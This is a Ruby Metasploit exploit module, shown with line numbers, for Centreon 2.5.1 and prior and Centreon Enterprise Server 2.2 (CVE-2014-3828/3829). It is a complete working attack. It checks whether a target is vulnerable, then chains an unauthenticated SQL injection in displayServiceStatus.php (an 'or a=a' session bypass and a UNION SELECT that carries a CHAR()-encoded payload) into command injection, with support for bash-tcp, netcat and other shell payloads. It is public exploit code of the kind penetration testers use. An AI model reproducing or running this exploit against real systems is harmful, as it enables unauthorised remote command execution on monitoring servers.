Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = ExcellentRanking
8

9
  include Msf::Exploit::Remote::HttpClient
10

11
  def initialize(info = {})
12
    super(update_info(info,
13
      'Name'           => 'Centreon SQL and Command Injection',
14
      'Description'    => %q{
15
        This module exploits several vulnerabilities on Centreon 2.5.1 and prior and Centreon
16
        Enterprise Server 2.2 and prior. Due to a combination of SQL injection and command
17
        injection in the displayServiceStatus.php component, it is possible to execute arbitrary
18
        commands as long as there is a valid session registered in the centreon.session table.
19
        In order to have a valid session, all it takes is a successful login from anybody.
20
        The exploit itself does not require any authentication.
21

22
        This module has been tested successfully on Centreon Enterprise Server 2.2.
23
      },
24
      'License'        => MSF_LICENSE,
25
      'Author'         =>
26
        [
27
          'MaZ', # Vulnerability Discovery and Analysis
28
          'juan vazquez' # Metasploit Module
29
        ],
30
      'References'     =>
31
        [
32
          ['CVE', '2014-3828'],
33
          ['CVE', '2014-3829'],
34
          ['US-CERT-VU', '298796'],
35
          ['URL', 'https://seclists.org/fulldisclosure/2014/Oct/78']
36
        ],
37
      'Arch'           => ARCH_CMD,
38
      'Platform'       => 'unix',
39
      'Payload'        =>
40
        {
41
          'Space'       => 1500, # having into account 8192 as max URI length
42
          'DisableNops' => true,
43
          'Compat'      =>
44
            {
45
              'PayloadType' => 'cmd cmd_bash',
46
              'RequiredCmd' => 'generic python gawk bash-tcp netcat ruby openssl'
47
            }
48
        },
49
      'Targets'        =>
50
        [
51
          ['Centreon Enterprise Server 2.2', {}]
52
        ],
53
      'Privileged'     => false,
54
      'DisclosureDate' => '2014-10-15',
55
      'DefaultTarget'  => 0))
56

57
    register_options(
58
      [
59
        OptString.new('TARGETURI', [true, 'The URI of the Centreon Application', '/centreon'])
60
      ])
61
  end
62

63
  def check
64
    random_id = rand_text_numeric(5 + rand(8))
65
    res = send_session_id(random_id)
66

67
    unless res && res.code == 200 && res.headers['Content-Type'] && res.headers['Content-Type'] == 'image/gif'
68
      return Exploit::CheckCode::Safe
69
    end
70

71
    injection = "#{random_id}' or 'a'='a"
72
    res = send_session_id(injection)
73

74
    if res && res.code == 200
75
      if res.body && res.body.to_s =~ /sh: graph: command not found/
76
        return Exploit::CheckCode::Vulnerable
77
      elsif res.headers['Content-Type'] && res.headers['Content-Type'] == 'image/gif'
78
        return Exploit::CheckCode::Detected
79
      end
80
    end
81

82
    Exploit::CheckCode::Safe
83
  end
84

85
  def exploit
86
    if check == Exploit::CheckCode::Safe
87
      fail_with(Failure::NotVulnerable, "#{peer} - The SQLi cannot be exploited")
88
    elsif check == Exploit::CheckCode::Detected
89
      fail_with(Failure::Unknown, "#{peer} - The SQLi cannot be exploited. Possibly because there's nothing in the centreon.session table. Perhaps try again later?")
90
    end
91

92
    print_status("Exploiting...")
93
    random_id = rand_text_numeric(5 + rand(8))
94
    random_char = rand_text_alphanumeric(1)
95
    session_injection = "#{random_id}' or '#{random_char}'='#{random_char}"
96
    template_injection = "' UNION ALL SELECT 1,2,3,4,5,CHAR(59,#{mysql_payload}59),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23 -- /**"
97
    res = send_template_id(session_injection, template_injection)
98

99
    if res && res.body && res.body.to_s =~ /sh: --imgformat: command not found/
100
      vprint_status("Output: #{res.body}")
101
    end
102
  end
103

104
  def send_session_id(session_id)
105
    res = send_request_cgi(
106
      'method'   => 'GET',
107
      'uri'      => normalize_uri(target_uri.to_s, 'include', 'views', 'graphs', 'graphStatus', 'displayServiceStatus.php'),
108
      'vars_get' =>
109
        {
110
          'session_id' => session_id
111
        }
112
    )
113

114
    res
115
  end
116

117
  def send_template_id(session_id, template_id)
118
    res = send_request_cgi({
119
      'method'   => 'GET',
120
      'uri'      => normalize_uri(target_uri.to_s, 'include', 'views', 'graphs', 'graphStatus', 'displayServiceStatus.php'),
121
      'vars_get' =>
122
        {
123
          'session_id' => session_id,
124
          'template_id' => template_id
125
        }
126
      }, 3)
127

128
    res
129
  end
130

131
  def mysql_payload
132
    p = ''
133
    payload.encoded.each_byte { |c| p << "#{c},"}
134
    p
135
  end
136
end
137

138